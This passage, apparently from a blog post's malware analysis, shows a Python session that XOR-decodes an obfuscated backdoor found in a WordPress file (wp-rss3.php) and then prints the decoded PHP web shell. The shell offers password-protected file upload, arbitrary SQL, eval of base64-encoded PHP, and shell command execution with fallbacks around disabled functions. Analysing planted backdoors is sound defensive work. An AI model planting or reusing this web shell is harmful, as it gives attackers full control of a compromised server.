    to see what source code results:</p><blockquote class="code"><tt><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">nums</span>&#xA0;<span class="o">=</span>&#xA0;<span class="nb">max</span><span class="p">(</span><span class="n">d</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;&quot;&#39;</span><span class="p">),</span>&#xA0;<span class="n">key</span><span class="o">=</span><span class="nb">len</span><span class="p">)</span><span class="o">.</span><span class="n">split</span><span class="p">(</span><span class="s">&#39;;&#39;</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="nb">len</span><span class="p">(</span><span class="n">nums</span><span class="p">)</span>
<br><span class="mi">5246</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">nums</span><span class="p">[:</span><span class="mi">10</span><span class="p">]</span>
<br><span class="p">[</span><span class="s">&#39;234&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;253&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;253&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;224&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;253&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;208&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;253&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;234&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;255&#39;</span><span class="p">,</span>&#xA0;<span class="s">&#39;224&#39;</span><span class="p">]</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">source</span>&#xA0;<span class="o">=</span>&#xA0;<span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>&#xA0;<span class="o">^</span>&#xA0;<span class="mi">143</span><span class="p">)</span>&#xA0;<span class="k">for</span>&#xA0;<span class="n">n</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="n">nums</span><span class="p">)</span>
<br><span class="n">Traceback</span>&#xA0;<span class="p">(</span><span class="n">most</span>&#xA0;<span class="n">recent</span>&#xA0;<span class="n">call</span>&#xA0;<span class="n">last</span><span class="p">):</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;&lt;stdin&gt;&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">module</span><span class="o">&gt;</span>
<br>&#xA0;&#xA0;<span class="n">File</span>&#xA0;<span class="s">&quot;&lt;stdin&gt;&quot;</span><span class="p">,</span>&#xA0;<span class="n">line</span>&#xA0;<span class="mi">1</span><span class="p">,</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="o">&lt;</span><span class="n">genexpr</span><span class="o">&gt;</span>
<br><span class="ne">ValueError</span><span class="p">:</span>&#xA0;<span class="n">invalid</span>&#xA0;<span class="n">literal</span>&#xA0;<span class="k">for</span>&#xA0;<span class="nb">int</span><span class="p">()</span>&#xA0;<span class="k">with</span>&#xA0;<span class="n">base</span>&#xA0;<span class="mi">10</span><span class="p">:</span>&#xA0;<span class="s">&#39;&#39;</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="n">source</span>&#xA0;<span class="o">=</span>&#xA0;<span class="s">&quot;&quot;</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="nb">chr</span><span class="p">(</span><span class="nb">int</span><span class="p">(</span><span class="n">n</span><span class="p">)</span>&#xA0;<span class="o">^</span>&#xA0;<span class="mi">143</span><span class="p">)</span>&#xA0;<span class="k">for</span>&#xA0;<span class="n">n</span>&#xA0;<span class="ow">in</span>&#xA0;<span class="n">nums</span>&#xA0;<span class="k">if</span>&#xA0;<span class="n">n</span><span class="p">)</span>
<br><span class="o">&gt;&gt;&gt;</span>&#xA0;<span class="k">print</span>&#xA0;<span class="n">source</span>
<br></tt></blockquote><p>This finally shows us the source of the backdoor which is executed when the page wp-rss3.php
    is visited in a browser. I've reformatted it here slightly just to break long lines:</p><blockquote class="code"><tt><span class="x">error_reporting(E_ERROR&#xA0;|&#xA0;E_WARNING&#xA0;|&#xA0;E_PARSE);</span>
<br><span class="x">ini_set(&#39;display_errors&#39;,&#xA0;&quot;0&quot;);</span>
<br>
<br><span class="x">if&#xA0;($_POST[&quot;p&quot;]&#xA0;!=&#xA0;&quot;&quot;)&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$_COOKIE[&quot;p&quot;]&#xA0;=&#xA0;$_POST[&quot;p&quot;];</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;setcookie(&quot;p&quot;,&#xA0;$_POST[&quot;p&quot;],&#xA0;time()&#xA0;+&#xA0;3600);</span>
<br><span class="x">}</span>
<br>
<br><span class="x">if&#xA0;(md5($_COOKIE[&quot;p&quot;])&#xA0;!=&#xA0;&quot;ca3f717a5e53f4ce47b9062cfbfb2458&quot;)&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;&lt;form&#xA0;method=post&gt;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;&lt;input&#xA0;type=text&#xA0;name=p&#xA0;value=&#39;&#39;&#xA0;size=50&gt;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;&lt;input&#xA0;type=submit&#xA0;name=B_SUBMIT&#xA0;value=&#39;Check&#39;&gt;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;&lt;/form&gt;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;exit;</span>
<br><span class="x">}</span>
<br>
<br><span class="x">if&#xA0;($_POST[&quot;action&quot;]&#xA0;==&#xA0;&quot;upload&quot;)&#xA0;{</span>
<br>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$l=$_FILES[&quot;filepath&quot;][&quot;tmp_name&quot;];</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$newpath=$_POST[&quot;newpath&quot;];</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;($newpath!=&quot;&quot;)&#xA0;move_uploaded_file($l,$newpath);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;done&quot;;</span>
<br>
<br><span class="x">}&#xA0;else&#xA0;if&#xA0;($_POST[&quot;action&quot;]&#xA0;==&#xA0;&quot;sql&quot;)&#xA0;{</span>
<br>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$query&#xA0;=&#xA0;$_POST[&quot;query&quot;];</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$query&#xA0;=&#xA0;str_replace(&quot;\&#39;&quot;,&quot;&#39;&quot;,$query);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$lnk&#xA0;=&#xA0;mysql_connect($_POST[&quot;server&quot;],&#xA0;$_POST[&quot;user&quot;],&#xA0;$_POST[&quot;pass&quot;])&#xA0;or&#xA0;die&#xA0;(&#39;Not&#xA0;connected&#xA0;:&#xA0;&#39;&#xA0;.&#xA0;mysql_error());</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;mysql_select_db($_POST[&quot;db&quot;],&#xA0;$lnk)&#xA0;or&#xA0;die&#xA0;(&#39;Db&#xA0;failed:&#xA0;&#39;&#xA0;.&#xA0;mysql_error());</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;mysql_query($query,&#xA0;$lnk)&#xA0;or&#xA0;die&#xA0;(&#39;Invalid&#xA0;query:&#xA0;&#39;&#xA0;.&#xA0;mysql_error());</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;mysql_close($lnk);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;&quot;done&lt;br&gt;&lt;pre&gt;$query&lt;/pre&gt;&quot;;</span>
<br>
<br><span class="x">}&#xA0;else&#xA0;if&#xA0;($_POST[&quot;action&quot;]&#xA0;==&#xA0;&quot;runphp&quot;)&#xA0;{</span>
<br>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;eval(base64_decode($_POST[&quot;cmd&quot;]));</span>
<br>
<br><span class="x">}&#xA0;else&#xA0;{</span>
<br>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;$disablefunc&#xA0;=&#xA0;@ini_get(&quot;disable_functions&quot;);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(!empty($disablefunc))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$disablefunc&#xA0;=&#xA0;str_replace(&quot;&#xA0;&quot;,&quot;&quot;,$disablefunc);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$disablefunc&#xA0;=&#xA0;explode(&quot;,&quot;,$disablefunc);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;}&#xA0;else&#xA0;$disablefunc&#xA0;=&#xA0;array();</span>
<br>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;function&#xA0;myshellexec($cmd)&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;global&#xA0;$disablefunc;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$result&#xA0;=&#xA0;&quot;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(!empty($cmd))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(is_callable(&quot;exec&quot;)&#xA0;and&#xA0;!@in_array(&quot;exec&quot;,$disablefunc))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@exec($cmd,$result);&#xA0;$result&#xA0;=&#xA0;@join(&quot;\n&quot;,$result);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;elseif&#xA0;(($result&#xA0;=&#xA0;`$cmd`)&#xA0;!==&#xA0;FALSE)&#xA0;{}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;elseif&#xA0;(is_callable(&quot;system&quot;)&#xA0;and&#xA0;!@in_array(&quot;system&quot;,$disablefunc))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$v&#xA0;=&#xA0;@ob_get_contents();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@ob_clean();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@system($cmd);&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$result&#xA0;=&#xA0;@ob_get_contents();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@ob_clean();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;$v;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;elseif&#xA0;(is_callable(&quot;passthru&quot;)&#xA0;and&#xA0;!@in_array(&quot;passthru&quot;,$disablefunc))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$v&#xA0;=&#xA0;@ob_get_contents();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@ob_clean();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@passthru($cmd);&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$result&#xA0;=&#xA0;@ob_get_contents();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@ob_clean();&#xA0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;echo&#xA0;$v;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;elseif&#xA0;(is_resource($fp&#xA0;=&#xA0;@popen($cmd,&quot;r&quot;)))&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$result&#xA0;=&#xA0;&quot;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;while(!feof($fp))&#xA0;{$result&#xA0;.=&#xA0;@fread($fp,1024);}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;@pclose($fp);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;return&#xA0;$result;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$cmd&#xA0;=&#xA0;stripslashes($_POST[&quot;cmd&quot;]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$cmd_enc&#xA0;=&#xA0;stripslashes($_POST[&quot;cmd_enc&quot;]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;($_POST[&quot;enc&quot;]==1){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;$cmd=base64_decode($cmd_enc);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;?&gt;</span>
<br><span class="x">&lt;script&#xA0;language=javascript&#xA0;type=&quot;text/javascript&quot;&gt;</span>
<br><span class="x">&lt;!--</span>
<br><span class="x">var&#xA0;END_OF_INPUT&#xA0;=&#xA0;-1;</span>
<br><span class="x">var&#xA0;base64Chars&#xA0;=&#xA0;new&#xA0;Array(&#39;A&#39;,&#39;B&#39;,&#39;C&#39;,&#39;D&#39;,&#39;E&#39;,&#39;F&#39;,&#39;G&#39;,&#39;H&#39;,&#39;I&#39;,&#39;J&#39;,&#39;K&#39;,&#39;L&#39;,&#39;M&#39;,&#39;N&#39;,&#39;O&#39;,&#39;P&#39;,&#39;Q&#39;,&#39;R&#39;,&#39;S&#39;,&#39;T&#39;,&#39;U&#39;,&#39;V&#39;,&#39;W&#39;,</span>
<br><span class="x">&#39;X&#39;,&#39;Y&#39;,&#39;Z&#39;,&#39;a&#39;,&#39;b&#39;,&#39;c&#39;,&#39;d&#39;,&#39;e&#39;,&#39;f&#39;,&#39;g&#39;,&#39;h&#39;,&#39;i&#39;,&#39;j&#39;,&#39;k&#39;,&#39;l&#39;,&#39;m&#39;,&#39;n&#39;,&#39;o&#39;,&#39;p&#39;,&#39;q&#39;,&#39;r&#39;,&#39;s&#39;,&#39;t&#39;,&#39;u&#39;,&#39;v&#39;,&#39;w&#39;,&#39;x&#39;,&#39;y&#39;,&#39;z&#39;,&#39;0&#39;,</span>
<br><span class="x">&#39;1&#39;,&#39;2&#39;,&#39;3&#39;,&#39;4&#39;,&#39;5&#39;,&#39;6&#39;,&#39;7&#39;,&#39;8&#39;,&#39;9&#39;,&#39;+&#39;,&#39;/&#39;);</span>
<br><span class="x">var&#xA0;reverseBase64Chars&#xA0;=&#xA0;new&#xA0;Array();</span>
<br><span class="x">for&#xA0;(var&#xA0;i=0;&#xA0;i&#xA0;&lt;&#xA0;base64Chars.length;&#xA0;i++){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;reverseBase64Chars[base64Chars[i]]&#xA0;=&#xA0;i;</span>
<br><span class="x">}</span>
<br><span class="x">var&#xA0;base64Str;</span>
<br><span class="x">var&#xA0;base64Count;</span>
<br><span class="x">function&#xA0;setBase64Str(str){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;base64Str&#xA0;=&#xA0;str;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;base64Count&#xA0;=&#xA0;0;</span>
<br><span class="x">}</span>
<br><span class="x">function&#xA0;readBase64(){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(!base64Str)&#xA0;return&#xA0;END_OF_INPUT;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(base64Count&#xA0;&gt;=&#xA0;base64Str.length)&#xA0;return&#xA0;END_OF_INPUT;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;var&#xA0;c&#xA0;=&#xA0;base64Str.charCodeAt(base64Count)&#xA0;&amp;&#xA0;0xff;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;base64Count++;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;return&#xA0;c;</span>
<br><span class="x">}</span>
<br><span class="x">function&#xA0;encodeBase64(str){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;setBase64Str(str);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;var&#xA0;result&#xA0;=&#xA0;&#39;&#39;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;var&#xA0;inBuffer&#xA0;=&#xA0;new&#xA0;Array(3);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;var&#xA0;lineCount&#xA0;=&#xA0;0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;var&#xA0;done&#xA0;=&#xA0;false;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;while&#xA0;(!done&#xA0;&amp;&amp;&#xA0;(inBuffer[0]&#xA0;=&#xA0;readBase64())&#xA0;!=&#xA0;END_OF_INPUT){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;inBuffer[1]&#xA0;=&#xA0;readBase64();</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;inBuffer[2]&#xA0;=&#xA0;readBase64();</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars[&#xA0;inBuffer[0]&#xA0;&gt;&gt;&#xA0;2&#xA0;]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(inBuffer[1]&#xA0;!=&#xA0;END_OF_INPUT){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars&#xA0;[((&#xA0;inBuffer[0]&#xA0;&lt;&lt;&#xA0;4&#xA0;)&#xA0;&amp;&#xA0;0x30)&#xA0;|&#xA0;(inBuffer[1]&#xA0;&gt;&gt;&#xA0;4)&#xA0;]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(inBuffer[2]&#xA0;!=&#xA0;END_OF_INPUT){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars&#xA0;[((inBuffer[1]&#xA0;&lt;&lt;&#xA0;2)&#xA0;&amp;&#xA0;0x3c)&#xA0;|&#xA0;(inBuffer[2]&#xA0;&gt;&gt;&#xA0;6)&#xA0;]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars&#xA0;[inBuffer[2]&#xA0;&amp;&#xA0;0x3F]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}&#xA0;else&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars&#xA0;[((inBuffer[1]&#xA0;&lt;&lt;&#xA0;2)&#xA0;&amp;&#xA0;0x3c)]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(&#39;=&#39;);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;done&#xA0;=&#xA0;true;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}&#xA0;else&#xA0;{</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(base64Chars&#xA0;[((&#xA0;inBuffer[0]&#xA0;&lt;&lt;&#xA0;4&#xA0;)&#xA0;&amp;&#xA0;0x30)]);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(&#39;=&#39;);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(&#39;=&#39;);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;done&#xA0;=&#xA0;true;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;lineCount&#xA0;+=&#xA0;4;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;if&#xA0;(lineCount&#xA0;&gt;=&#xA0;76){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;result&#xA0;+=&#xA0;(&#39;\n&#39;);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;lineCount&#xA0;=&#xA0;0;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;}</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;return&#xA0;result;</span>
<br><span class="x">}</span>
<br><span class="x">function&#xA0;encodeIt(f){</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;l=encodeBase64(f.cmd.value);</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;f.cmd_enc.value=l;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;f.cmd.value=&quot;&quot;;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;f.enc.value=1;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;f.submit();</span>
<br><span class="x">}</span>
<br><span class="x">//--&gt;&lt;/script&gt;</span>
<br><span class="x">&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;&#xA0;</span><span class="cp">&lt;?</span>
<br>
<br>&#xA0;&#xA0;&#xA0;&#xA0;<span class="k">echo</span>&#xA0;<span class="s2">&quot;&lt;form&#xA0;method=post&#xA0;action=&#39;&#39;&#xA0;onSubmit=&#39;encodeIt(this);return&#xA0;false;&#39;&gt;&quot;</span><span class="p">;</span>
